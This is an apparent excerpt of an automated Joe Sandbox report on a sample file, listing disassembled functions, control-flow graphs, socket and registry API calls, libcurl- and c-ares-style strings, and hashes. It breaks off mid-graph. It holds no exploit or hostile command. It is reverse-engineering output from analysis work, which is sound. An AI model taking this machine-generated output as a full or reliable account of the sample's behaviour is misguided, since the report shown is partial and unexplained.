                                                            • Opcode Fuzzy Hash: 99c641803c1740c881a45c1e30da9c038e179627b0a09c89e04e24af292983c8
                                                            • Instruction Fuzzy Hash: 93D1BD71A087019FFB10CF24E881BABB7EABF94348F04482CF88596252E775E945CF52
                                                            Function 00617770 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73networkCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1312 617770-61778e 1313 617790-617797 1312->1313 1314 6177b6-6177c2 recv 1312->1314 1313->1314 1315 617799-6177a1 1313->1315 1316 6177c4-6177d9 call 6172a0 1314->1316 1317 61782e-617832 1314->1317 1318 6177a3-6177b4 1315->1318 1319 6177db-617829 call 6172a0 call 61cb20 call 998c50 1315->1319 1316->1317 1318->1316 1319->1317
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: recv
                                                            • String ID: LIMIT %s:%d %s reached memlimit$RECV %s:%d recv(%lu) = %ld$recv
                                                            • API String ID: 1507349165-640788491
                                                            • Opcode ID: e3a2c0b9b981b28742a19bd2d9b6c04fb48b304c268c4858b66e9148fd03f5ad
                                                            • Instruction ID: ac0377b8fd689ba5c3ee79d2f404d86aeb01020686d12e16f9c17b8b85b77d80
                                                            • Opcode Fuzzy Hash: e3a2c0b9b981b28742a19bd2d9b6c04fb48b304c268c4858b66e9148fd03f5ad
                                                            • Instruction Fuzzy Hash: 6A1131B460838477D120A714DC49F7B3BADDBC6B54F48056CB804573A1D6206D40C7F1
                                                            Function 006DB180 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 323COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1453 6db180-6db195 1454 6db19b-6db1a2 1453->1454 1455 6db3e0-6db3e7 1453->1455 1456 6db1b0-6db1b9 1454->1456 1456->1456 1457 6db1bb-6db1bd 1456->1457 1457->1455 1458 6db1c3-6db1d0 1457->1458 1460 6db3db 1458->1460 1461 6db1d6-6db1f2 1458->1461 1460->1455 1462 6db229-6db22d 1461->1462 1463 6db3e8-6db417 1462->1463 1464 6db233-6db246 1462->1464 1472 6db41d-6db429 1463->1472 1473 6db582-6db589 1463->1473 1465 6db248-6db24b 1464->1465 1466 6db260-6db264 1464->1466 1467 6db24d-6db256 1465->1467 1468 6db215-6db223 1465->1468 1470 6db269-6db286 call 6daf30 1466->1470 1467->1470 1468->1462 1471 6db315-6db33c call 998b00 1468->1471 1482 6db288-6db2a3 call 6db060 1470->1482 1483 6db2f0-6db301 1470->1483 1485 6db3bf-6db3ca 1471->1485 1486 6db342-6db347 1471->1486 1476 6db42b-6db433 call 6db590 1472->1476 1477 6db435-6db44c call 6db590 1472->1477 1476->1477 1490 6db44e-6db456 call 6db590 1477->1490 1491 6db458-6db471 call 6db590 1477->1491 1497 6db2a9-6db2c7 getsockname call 6db020 1482->1497 1498 6db200-6db213 call 6db020 1482->1498 1483->1468 1501 6db307-6db310 1483->1501 1492 6db3cc-6db3d9 1485->1492 1494 6db349-6db358 1486->1494 1495 6db384-6db38f 1486->1495 1490->1491 1511 6db48c-6db4a7 1491->1511 1512 6db473-6db487 1491->1512 1492->1455 1502 6db360-6db382 1494->1502 1495->1485 1496 6db391-6db3a5 1495->1496 1503 6db3b0-6db3bd 1496->1503 1509 6db2cc-6db2dd 1497->1509 1498->1468 1501->1492 1502->1495 1502->1502 1503->1485 1503->1503 1509->1468 1513 6db2e3 1509->1513 1514 6db4a9-6db4b1 call 6db660 1511->1514 1515 6db4b3-6db4cb call 6db660 1511->1515 1512->1473 1513->1501 1514->1515 1520 6db4cd-6db4d5 call 6db660 1515->1520 1521 6db4d9-6db4f5 call 6db660 1515->1521 1520->1521 1526 6db50d-6db52b call 6db770 * 2 1521->1526 1527 6db4f7-6db50b 1521->1527 1526->1473 1532 6db52d-6db531 1526->1532 1527->1473 1533 6db580 1532->1533 1534 6db533-6db53b 1532->1534 1533->1473 1535 6db53d-6db547 1534->1535 1536 6db578-6db57e 1534->1536 1535->1536 1537 6db549-6db54d 1535->1537 1536->1473 1537->1536 1538 6db54f-6db558 1537->1538 1538->1536 1539 6db55a-6db576 call 6db870 * 2 1538->1539 1539->1473 1539->1536
                                                            APIs
                                                            • getsockname.WS2_32(-00000020,-00000020,?), ref: 006DB2B6
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: getsockname
                                                            • String ID: ares__sortaddrinfo.c$cur != NULL
                                                            • API String ID: 3358416759-2430778319
                                                            • Opcode ID: fdf49d01d2b54e2e3767e94f0b11b81df6f8832ac626e4174ea0bb9829781b5f
                                                            • Instruction ID: 9f38686621fd2b3714ed2b678087ab51c8fadf03269881165d63c4a9eb6de657
                                                            • Opcode Fuzzy Hash: fdf49d01d2b54e2e3767e94f0b11b81df6f8832ac626e4174ea0bb9829781b5f
                                                            • Instruction Fuzzy Hash: C6C17E71A04305DFD718DF24C880A6A77E2EF89344F06996EF8498B3A9DB71ED45CB81
                                                            Function 07340AB9 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 274COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: A:\
                                                            • API String ID: 0-3379428675
                                                            • Opcode ID: c96c6b596a809fae53d0dcbe72cbd545cc8d0a41bda13d8e142cdadaf0bed657
                                                            • Instruction ID: 8a8b2f0550334ad999cd586945892ea6cb73453910345d6faa5fd22d0e08f9d7
                                                            • Opcode Fuzzy Hash: c96c6b596a809fae53d0dcbe72cbd545cc8d0a41bda13d8e142cdadaf0bed657
                                                            • Instruction Fuzzy Hash: F8512DE771C154FEB21E80511B50AFB2BEED6D3230F3084E6F64BDAA01E254AE4A4231
                                                            Function 00626FA0 Relevance: 1.8, APIs: 1, Instructions: 261COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: cd33c79f651a9ddf4264930d06f3dcc3b389e56cbc0cbdc7fe872ab00bf19519
                                                            • Instruction ID: 599ebfc4cc1cd04cc2c3668c0f8d3c3566d6cdae31009f7ae356771a5d203902
                                                            • Opcode Fuzzy Hash: cd33c79f651a9ddf4264930d06f3dcc3b389e56cbc0cbdc7fe872ab00bf19519
                                                            • Instruction Fuzzy Hash: 9691163060DB258BD7358A28E894BFB72D6EFC4364F148A2CE899432D4EB749D50DA91
                                                            Function 006131D7 Relevance: 1.3, APIs: 1, Instructions: 73COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: CloseHandle
                                                            • String ID:
                                                            • API String ID: 2962429428-0
                                                            • Opcode ID: c829206c255f1abd7556f9d7c3970527a9abf5525360089f43e58d24742654d4
                                                            • Instruction ID: ef5b3c9233d95b668c40d5ed8fba9c74a1bee84dc4782e2b56ac12ac608f9fa8
                                                            • Opcode Fuzzy Hash: c829206c255f1abd7556f9d7c3970527a9abf5525360089f43e58d24742654d4
                                                            • Instruction Fuzzy Hash: D83195B49093159FCB00FFB8C68569EBBF4AF45344F00896DE899E7341E7749A44CB52
                                                            Function 006CA440 Relevance: 53.6, APIs: 22, Strings: 8, Instructions: 1066registryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetAdaptersAddresses.IPHLPAPI(00000000,00000000,00000000,00000000,?), ref: 006CA499
                                                            • GetAdaptersAddresses.IPHLPAPI(00000000,00000000,00000000,00000000,?), ref: 006CA4FB
                                                            • GetAdaptersAddresses.IPHLPAPI(00000000,00000000,00000000,00000000,?), ref: 006CA531
                                                            • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters,00000000,00020019,?), ref: 006CAA19
                                                            • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,00000000), ref: 006CAA4C
                                                            • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,?), ref: 006CAA97
                                                            • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,00000000), ref: 006CAAE9
                                                            • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,?), ref: 006CAB30
                                                            • RegCloseKey.KERNELBASE(?), ref: 006CAB6A
                                                            • RegOpenKeyExA.KERNELBASE(80000002,Software\Policies\Microsoft\Windows NT\DNSClient,00000000,00020019,?), ref: 006CAB82
                                                            • RegOpenKeyExA.KERNELBASE(80000002,Software\Policies\Microsoft\System\DNSClient,00000000,00020019,?), ref: 006CAC46
                                                            • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces,00000000,00020019,?), ref: 006CAD0A
                                                            • RegEnumKeyExA.KERNELBASE ref: 006CAD8D
                                                            • RegCloseKey.KERNELBASE(?), ref: 006CADD9
                                                            • RegEnumKeyExA.KERNELBASE ref: 006CAE08
                                                            • RegOpenKeyExA.KERNELBASE(?,?,00000000,00000001,?), ref: 006CAE2A
                                                            • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,00000000), ref: 006CAE54
                                                            • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,00000000), ref: 006CAF63
                                                            • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,?), ref: 006CAFB2
                                                            • RegQueryValueExA.KERNELBASE(?,DhcpDomain,00000000,00000000,00000000,00000000), ref: 006CB072
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: QueryValue$Open$AdaptersAddresses$CloseEnum
                                                            • String ID: DhcpDomain$Domain$PrimaryDNSSuffix$SearchList$Software\Policies\Microsoft\System\DNSClient$Software\Policies\Microsoft\Windows NT\DNSClient$System\CurrentControlSet\Services\Tcpip\Parameters$System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces
                                                            • API String ID: 4281207131-1047472027
                                                            • Opcode ID: 44c3c99e799fb6e72f800adee39ad40635d90aebc3d902fb8d7750ea6456043a
                                                            • Instruction ID: 2888e9c1115de04e91de2b95031478d2c513bed1c11783ba13c12dffe2de6caf
                                                            • Opcode Fuzzy Hash: 44c3c99e799fb6e72f800adee39ad40635d90aebc3d902fb8d7750ea6456043a
                                                            • Instruction Fuzzy Hash: 1B72BCB1608345ABE3209B64CC82FAB77E9EF85704F14482DF985973A1E771E845CB93
                                                            Function 0064A550 Relevance: 28.8, APIs: 1, Strings: 15, Instructions: 794COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • setsockopt.WS2_32(?,00000006,00000001,00000001,00000004), ref: 0064A832
                                                            Strings
                                                            • bind failed with errno %d: %s, xrefs: 0064B080
                                                            • Local port: %hu, xrefs: 0064AF28
                                                            • sa_addr inet_ntop() failed with errno %d: %s, xrefs: 0064A6CE
                                                            • Bind to local port %d failed, trying next, xrefs: 0064AFE5
                                                            • Trying %s:%d..., xrefs: 0064A7C2, 0064A7DE
                                                            • Couldn't bind to interface '%s' with errno %d: %s, xrefs: 0064AD0A
                                                            • cf_socket_open() -> %d, fd=%d, xrefs: 0064A796
                                                            • Could not set TCP_NODELAY: %s, xrefs: 0064A871
                                                            • Name '%s' family %i resolved to '%s' family %i, xrefs: 0064ADAC
                                                            • cf-socket.c, xrefs: 0064A5CD, 0064A735
                                                            • Couldn't bind to '%s' with errno %d: %s, xrefs: 0064AE1F
                                                            • Local Interface %s is ip %s using address family %i, xrefs: 0064AE60
                                                            • @, xrefs: 0064AC42
                                                            • @, xrefs: 0064A8F4
                                                            • Trying [%s]:%d..., xrefs: 0064A689
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: setsockopt
                                                            • String ID: Trying %s:%d...$ Trying [%s]:%d...$ @$ @$Bind to local port %d failed, trying next$Could not set TCP_NODELAY: %s$Couldn't bind to '%s' with errno %d: %s$Couldn't bind to interface '%s' with errno %d: %s$Local Interface %s is ip %s using address family %i$Local port: %hu$Name '%s' family %i resolved to '%s' family %i$bind failed with errno %d: %s$cf-socket.c$cf_socket_open() -> %d, fd=%d$sa_addr inet_ntop() failed with errno %d: %s
                                                            • API String ID: 3981526788-2373386790
                                                            • Opcode ID: 94d1d0d762274cb81e0d4ffc35cac9c62d9e84e6e792b621848f2283d982c362
                                                            • Instruction ID: 0d2550178b9404d4506c22be39736ce0c3d5e2131c7a95f12d34e3151169692d
                                                            • Opcode Fuzzy Hash: 94d1d0d762274cb81e0d4ffc35cac9c62d9e84e6e792b621848f2283d982c362
                                                            • Instruction Fuzzy Hash: 9B62F371548341ABE720CF64C846BEBB7E6AF81314F04492DF98897392E771E945CB93
                                                            Function 006D9740 Relevance: 16.5, APIs: 3, Strings: 6, Instructions: 743registryCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 603 6d9740-6d975b 604 6d975d-6d9768 call 6d78a0 603->604 605 6d9780-6d9782 603->605 613 6d976e-6d9770 604->613 614 6d99bb-6d99c0 604->614 607 6d9788-6d97a0 call 998e00 call 6d78a0 605->607 608 6d9914-6d994e call 998b70 RegOpenKeyExA 605->608 607->614 618 6d97a6-6d97c5 607->618 616 6d995a-6d9992 RegQueryValueExA RegCloseKey call 998b98 608->616 617 6d9950-6d9955 608->617 613->618 619 6d9772-6d977e 613->619 620 6d9a0c-6d9a15 614->620 631 6d9997-6d99b5 call 6d78a0 616->631 617->620 626 6d9827-6d9833 618->626 627 6d97c7-6d97e0 618->627 619->607 632 6d985f-6d9872 call 6d5ca0 626->632 633 6d9835-6d985c call 6ce2b0 * 2 626->633 629 6d97f6-6d9809 627->629 630 6d97e2-6d97f3 call 998b50 627->630 629->626 643 6d980b-6d9810 629->643 630->629 631->614 631->618 644 6d9878-6d987d call 6d77b0 632->644 645 6d99f0 632->645 633->632 643->626 648 6d9812-6d9822 643->648 652 6d9882-6d9889 644->652 647 6d99f5-6d99fb call 6d5d00 645->647 657 6d99fe-6d9a09 647->657 648->620 652->647 656 6d988f-6d989b call 6c4fe0 652->656 656->645 662 6d98a1-6d98c3 call 998b50 call 6d78a0 656->662 657->620 667 6d98c9-6d98db call 6ce2d0 662->667 668 6d99c2-6d99ed call 6ce2b0 * 2 662->668 667->668 672 6d98e1-6d98f0 call 6ce2d0 667->672 668->645 672->668 679 6d98f6-6d9905 call 6d63f0 672->679 683 6d990b-6d990f 679->683 684 6d9f66-6d9f7f call 6d5d00 679->684 686 6d9a3f-6d9a5a call 6d6740 call 6d63f0 683->686 684->657 686->684 692 6d9a60-6d9a6e call 6d6d60 686->692 695 6d9a1f-6d9a39 call 6d6840 call 6d63f0 692->695 696 6d9a70-6d9a94 call 6d6200 call 6d67e0 call 6d6320 692->696 695->684 695->686 707 6d9a16-6d9a19 696->707 708 6d9a96-6d9ac6 call 6cd120 696->708 707->695 710 6d9fc1 707->710 713 6d9ac8-6d9adb call 6cd120 708->713 714 6d9ae1-6d9af7 call 6cd190 708->714 712 6d9fc5-6d9ffd call 6d5d00 call 6ce2b0 * 2 710->712 712->657 713->695 713->714 714->695 721 6d9afd-6d9b09 call 6c4fe0 714->721 721->710 728 6d9b0f-6d9b29 call 6ce730 721->728 733 6d9b2f-6d9b3a call 6d78a0 728->733 734 6d9f84-6d9f88 728->734 733->734 740 6d9b40-6d9b54 call 6ce760 733->740 736 6d9f95-6d9f99 734->736 738 6d9f9b-6d9f9e 736->738 739 6d9fa0-6d9fb6 call 6cebf0 * 2 736->739 738->710 738->739 750 6d9fb7-6d9fbe 739->750 746 6d9f8a-6d9f92 740->746 747 6d9b5a-6d9b6e call 6ce730 740->747 746->736 753 6d9b8c-6d9b97 call 6d63f0 747->753 754 6d9b70-6da004 747->754 750->710 762 6d9b9d-6d9bbf call 6d6740 call 6d63f0 753->762 763 6d9c9a-6d9cab call 6cea00 753->763 758 6da015-6da01d 754->758 760 6da01f-6da022 758->760 761 6da024-6da045 call 6cebf0 * 2 758->761 760->712 760->761 761->712 762->763 780 6d9bc5-6d9bda call 6d6d60 762->780 772 6d9f31-6d9f35 763->772 773 6d9cb1-6d9ccd call 6cea00 call 6ce960 763->773 775 6d9f37-6d9f3a 772->775 776 6d9f40-6d9f61 call 6cebf0 * 2 772->776 791 6d9cfd-6d9d0e call 6ce960 773->791 792 6d9ccf 773->792 775->695 775->776 776->695 780->763 790 6d9be0-6d9bf4 call 6d6200 call 6d67e0 780->790 790->763 811 6d9bfa-6d9c0b call 6d6320 790->811 801 6d9d10 791->801 802 6d9d53-6d9d55 791->802 795 6d9cd1-6d9cec call 6ce9f0 call 6ce4a0 792->795 812 6d9cee-6d9cfb call 6ce9d0 795->812 813 6d9d47-6d9d51 795->813 806 6d9d12-6d9d2d call 6ce9f0 call 6ce4a0 801->806 805 6d9e69-6d9e8e call 6cea40 call 6ce440 802->805 829 6d9e94-6d9eaa call 6ce3c0 805->829 830 6d9e90-6d9e92 805->830 833 6d9d2f-6d9d3c call 6ce9d0 806->833 834 6d9d5a-6d9d6f call 6ce960 806->834 826 6d9b75-6d9b86 call 6cea00 811->826 827 6d9c11-6d9c1c call 6d7b70 811->827 812->791 812->795 818 6d9dca-6d9ddb call 6ce960 813->818 840 6d9ddd-6d9ddf 818->840 841 6d9e2e-6d9e36 818->841 826->753 850 6d9f2d 826->850 827->753 844 6d9c22-6d9c33 call 6ce960 827->844 860 6da04a-6da04c 829->860 861 6d9eb0-6d9eb1 829->861 838 6d9eb3-6d9ec4 call 6ce9c0 830->838 833->806 853 6d9d3e-6d9d42 833->853 856 6d9d71-6d9d73 834->856 857 6d9dc2 834->857 838->695 862 6d9eca-6d9ed0 838->862 849 6d9e06-6d9e21 call 6ce9f0 call 6ce4a0 840->849 846 6d9e3d-6d9e5b call 6cebf0 * 2 841->846 847 6d9e38-6d9e3b 841->847 871 6d9c35 844->871 872 6d9c66-6d9c75 call 6d78a0 844->872 858 6d9e5e-6d9e67 846->858 847->846 847->858 887 6d9de1-6d9dee call 